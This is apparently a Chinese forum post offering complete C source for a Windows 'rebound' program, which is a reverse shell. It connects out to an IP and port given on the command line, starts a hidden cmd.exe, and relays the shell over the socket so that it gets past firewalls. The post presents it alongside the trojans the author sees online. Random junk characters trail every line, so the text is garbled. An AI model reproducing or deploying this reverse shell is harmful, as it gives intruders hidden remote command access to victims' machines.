这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 kO]],Vy`
J&xH"U
/* ============================== 03iD(,@
Rebound port in Windows NT O>=D1no*
By wind,2006/7 tr]=q9
===============================*/ Tn~b#-0
#include *E Z'S+wR
#include FQbF)K~e
=]pcC
#pragma comment(lib,"wsock32.lib") USKa6<:{W
fE\;C bi
void OutputShell(); (W7cQ>
SOCKET sClient; Bu ~N)^
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "]%.%$
CvwC| AW
void main(int argc,char **argv) n]/7UH}(<&
{ <bPn<QI
WSADATA stWsaData; ( aGwe@AS
int nRet; AeqxH1 %
SOCKADDR_IN stSaiClient,stSaiServer; 3H0~?z_
.[v4'ww^
if(argc != 3) {xm^DT
{ ^K4#_H#"
printf("Useage:\n\rRebound DestIP DestPort\n"); Z|YiYQl[)
return; Nw`}iR0i
} k!gft'iU
`TM[7'
WSAStartup(MAKEWORD(2,2),&stWsaData); 6.z8!4fpl
Rh7unJ
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F d:A^]
aZ%
stSaiClient.sin_family = AF_INET; F2/-Wk@
stSaiClient.sin_port = htons(0); -kp!.c
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); X\?e=rUfn
@za X\
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7-nz'-'
{ 6Q&R,"!$p
printf("Bind Socket Failed!\n"); FFH9$>A
return; ,Db+c3
} fqaysy
:NL.#!>/
stSaiServer.sin_family = AF_INET; aB9Pdut
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); BJgg-z{Y
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :T5p6:
xP<cF
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @\,WJmW
{ 8iTX}$t\{
printf("Connect Error!"); |k~\E|^
return; VXforI
} y6|&bJ @
OutputShell(); gn&jNuGg
} Dp
0
=;.#Bds
void OutputShell() @ \ip?=
{ dQ97O{O:i
char szBuff[1024]; -(FVTWi0
SECURITY_ATTRIBUTES stSecurityAttributes; H
R$\jJ
OSVERSIONINFO stOsversionInfo; 4&IBNc,sn
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; jq{rNxdGx
STARTUPINFO stStartupInfo; SRq0y,d
char *szShell; k$nQY
PROCESS_INFORMATION stProcessInformation; q^],K'
unsigned long lBytesRead; >#z*gCO5,
Y|FJ1x$r
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); hETTD%
%\?2W8Qv_J
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1<_i7.{k
stSecurityAttributes.lpSecurityDescriptor = 0; [m7jZOEu
stSecurityAttributes.bInheritHandle = TRUE; \HFeEEKH
Ilvz@=
GH2D5HVN
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); LGq}wxq
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *h Ph01
hPt(7E2ke~
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); SS@F:5),
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iQpKcBx
stStartupInfo.wShowWindow = SW_HIDE; p{7"a
stStartupInfo.hStdInput = hReadPipe; n|F$qV_p\
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; w~>V2u_-
%RgCU$s[>
GetVersionEx(&stOsversionInfo); IH?.s
k
Hk%m`|Z
switch(stOsversionInfo.dwPlatformId) " FI]l<G&
{ #imMkvx?
case 1: Hs<vCL \
szShell = "command.com"; NZ`W`#{
break; yjZxD[
Z
default: ('!90
szShell = "cmd.exe"; 5S:#I5Wa
break; g]O"l?xx1D
} ?g2Wu0<
?}y?e}y*xZ
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {zhN>n_
lTsl=
send(sClient,szMsg,77,0); DPIiGRw
while(1) b8v?@s~
{ [aX'eMq
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); =if5$jE3
if(lBytesRead) 'VCF{0{H~
{ n
*|F=fl
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <T JUKznO
send(sClient,szBuff,lBytesRead,0); +K2jYgy
} e"P>b? OY
else 75}BI&t3k
{ hb7H- Z2
lBytesRead=recv(sClient,szBuff,1024,0); G (Fi
if(lBytesRead<=0) break; )2C`;\/:
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `yJpDGh
} BKe~y
} Kf
D8S
9.f/d4
return; K1a$
m2
}